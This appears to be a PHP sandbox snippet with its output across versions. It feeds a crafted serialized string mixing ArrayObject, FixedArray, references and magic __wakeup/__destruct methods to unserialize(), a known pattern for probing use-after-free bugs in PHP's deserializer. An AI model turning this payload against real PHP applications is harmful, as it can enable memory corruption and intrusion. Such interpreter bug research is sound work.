<?php
class a {
public $a;
function __destruct() {
$t=1337;
echo(serialize($this->a));
}
}
class b {
public $b;
function __wakeup() {
$this->b=null;
}
}
$i='x:i:0;O:10:"FixedArray":2:{i:0;i:1711;i:1;O:1:"a":1:{s:1:"a";R:1;}};m:a:0:{}';
$x=unserialize('a:2:{i:0;C:11:"ArrayObject":'.strlen($i).':{'.$i.'}i:1;O:1:"b":1:{s:1:"b";R:4;}}');
$x=null;
echo('doe');
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
doea:2:{i:0;O:11:"ArrayObject":4:{i:0;i:0;i:1;O:10:"FixedArray":2:{s:1:"0";i:1711;s:1:"1";O:1:"a":1:{s:1:"a";a:2:{i:0;O:11:"ArrayObject":4:{i:0;i:0;i:1;r:4;i:2;a:0:{}i:3;N;}i:1;O:1:"b":1:{s:1:"b";N;}}}}i:2;a:0:{}i:3;N;}i:1;r:13;}
Notice: ArrayObject::serialize(): Array was modified outside object and is no longer an array in /in/f4oN0 on line 6
a:2:{i:0;N;i:1;O:1:"b":1:{s:1:"b";N;}}doe
Output for 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
Notice: ArrayObject::serialize(): Array was modified outside object and is no longer an array in /in/f4oN0 on line 6
a:1:{i:0;N;}doe